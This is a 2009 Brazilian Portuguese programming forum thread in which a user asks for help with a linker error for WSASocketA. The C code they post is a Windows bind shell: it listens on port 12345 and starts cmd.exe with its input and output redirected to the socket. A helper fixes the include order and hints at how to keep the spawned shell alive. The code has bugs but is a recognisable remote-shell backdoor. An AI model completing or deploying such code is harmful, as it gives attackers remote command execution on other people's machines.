[RESOLVIDO][C] Problemas em linkar ws2_32 para função WSASocketA

5 respostas
viniciuslaine

Saudações,

já estou até meio desesperado pq não consigo resolver este problema e já há uns 3 dias !!!!

O negócio é o seguinte...
Tô estudando Win Sockets. Só que para o que eu toh precisando fazer eu preciso usar a função WSASocketA para criar o socket(ao inves da socket() ) e é ae que tá !!! não compila nem com reza braba!!

sempre dá o erro:
[Linker error] undefined reference to `WSASocketA'
Mesmo eu colocando o -lws2_32 no comando do compilador (gcc q vem com o dev-cpp). Toda a internet fala q essa função esta nessa lib !! mas eu adiciono ela e não resolve!! continua aparecendo o problema !!!! segue o comando de compilação q toh gerando:
gcc.exe "D:\ESTUDO\sock1.c" -o "D:\ESTUDO\sock1.exe"   -g3  -I"C:\Dev-Cpp\include"   -L"C:\Dev-Cpp\lib"  -lws2_32 -lwsock32
e não importa onde eu coloque os -lws2_32 -lwsock32 naõ resolve nada !!!! segue o código q toh gerando...
#include <stdio.h>
#include <winsock.h>
#include <windows.h>
#include <winsock2.h>
#include <unistd.h>
#include <stdlib.h>



int main(){
    WSADATA wsaData;
    WSAStartup(MAKEWORD(1, 1), &wsaData);
   int new, sockfd;
   struct sockaddr_in sin;
   sockfd = WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
   printf("(*) Configurando Conexão ...\n");
   sin.sin_family = AF_INET;
   sin.sin_addr.s_addr = 0;
   sin.sin_port = htons(12345);
   printf("(*) Abrindo Porta ...\n");
   bind(sockfd, (struct sockaddr *)&sin, sizeof(sin));
   listen(sockfd, 5);
   printf("(*) Aguardando Conexão...\n");
   new = accept(sockfd, NULL, 0);
   printf("(*) Conexão Estabelecida... \n");
   int i;
    printf("(*) Duplicando File Descriptors.... \n");
    STARTUPINFO novo;
    PROCESS_INFORMATION proc;
    ZeroMemory(&novo, sizeof(novo));
    ZeroMemory(&proc, sizeof(proc));
    novo.cb = sizeof(novo);
    novo.hStdInput = novo.hStdOutput = novo.hStdError = sockfd;
    novo.dwFlags = STARTF_USESTDHANDLES;
     printf("(*) Executando Shell. ***\n");
    if (!CreateProcess("C:\\windows\\system32\\cmd.exe", "C:\\windows\\system32\\cmd.exe", NULL, NULL, TRUE ,/* NORMAL_PRIORITY_CLASS*/0 , NULL, NULL, &novo, &proc))
       printf("ERRO\n");;
   printf("FIM*******\n");           
   return 0;

}

SE alguem souber ae !!??

5 Respostas

T

Você não poderia usar simplesmente WSASocket ? (Se bem que só recomendo usar essa API diretamente se for criar alguma coisa aberrante, como um “raw socket” para usar algum outro protocolo que não TCP/IP. Use a função “socket” mesmo.

viniciuslaine

thingol se eu usar a WSASocket muda o erro:
[Linker error] undefined reference to `WSASocket’

rsrsrs…

e eu realmente preciso q seja com a WSASocket !! ou WSASocketA ou WSASocketW… por causa do createProcess()… corrija-me se eu estiver errado mas acho q pra fazer o que eu toh tentando fazer nesse codigo ae eu preciso criar o socket com o WSASocket… pq soh com o socket() num funcionou nao…

Eu toh tentando disparar um cmd.exe e jogar o controle dele pro socket … em linux usa-se o socket e as funções dup2() e execl() mas em windows acho q eh assim q faz… e nao tah compilando !!!

T

Quando você inclui “windows.h”, ele já inclui “winsock.h”, não “winsock2.h”. Isso dá um pouco de confusão, eu concordo.

Que tal você incluir PRIMEIRAMENTE winsock2.h e DEPOIS windows.h ? Se não me engano, winsock2.h inclui windows.h quando necessário.

viniciuslaine

EXcelente thingol !!!

compilou… num acredito !!! rsrsrsrs… eu nao sabia q fazia diferença a ordem dos includes!!
brigadão mesmo cara …

Aqui… aproveitando da sua boa vontade… o código acima tah certo ?

pq agora q compilou ele num mandou o controle do cmd.exe pro socket nao… na verdade tah finalizando a aplicação… vc saberia o q tah acontecendo ??

e brigadão mesmo !!!

T

Claro que você não tinha como saber. Eu mesmo só fui descobrir isso há uns dois meses atrás, quando tive um problema semelhante. (“O diabo não é sábio porque é diabo; o diabo é sábio porque é velho.”)

CreateProcess não espera o processo retornar. Para você esperar o processo filho retornar, leia a documentação de CreateProcess para ver que outra API do Windows você tem de chamar para esperar o outro processo.

Process and Thread Functions

Criado 10 de julho de 2009
Ultima resposta 10 de jul. de 2009
Respostas 5
Participantes 2